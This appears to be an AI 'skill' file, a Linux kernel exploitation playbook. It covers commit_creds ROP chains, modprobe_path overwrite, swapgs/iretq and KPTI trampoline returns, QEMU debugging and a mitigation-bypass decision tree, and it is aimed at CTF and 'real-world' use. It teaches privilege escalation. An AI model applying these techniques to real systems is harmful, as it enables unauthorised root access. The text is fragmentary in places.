Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
// Kernel function that sets current process credentials to rootvoid (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
Method 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
Via iretq (Traditional)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
Via KPTI Trampoline (When KPTI Enabled)
KPTI separates kernel/user page tables. Direct swapgs; iretq crashes because user pages aren't mapped. Use the kernel's own return trampoline:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
Via signal Handler Return
Set up a signal handler before exploit. After commit_creds, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).
8. QEMU DEBUGGING TIPS
Command
Purpose
-s -S
GDB server on :1234, paused
-monitor /dev/null
Disable QEMU monitor (cleaner output)
-append "nokaslr"
Disable KASLR for debugging
-cpu kvm64,+smep,+smap
Enable specific CPU features
info registers (GDB)
Show all register values
maintenance packet Qqemu.PhyMemMode:1
Read physical memory in GDB
cat /proc/kallsyms
Kernel symbol addresses (if readable)
cat /sys/kernel/notes
Kernel build ID
9. DECISION TREE
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path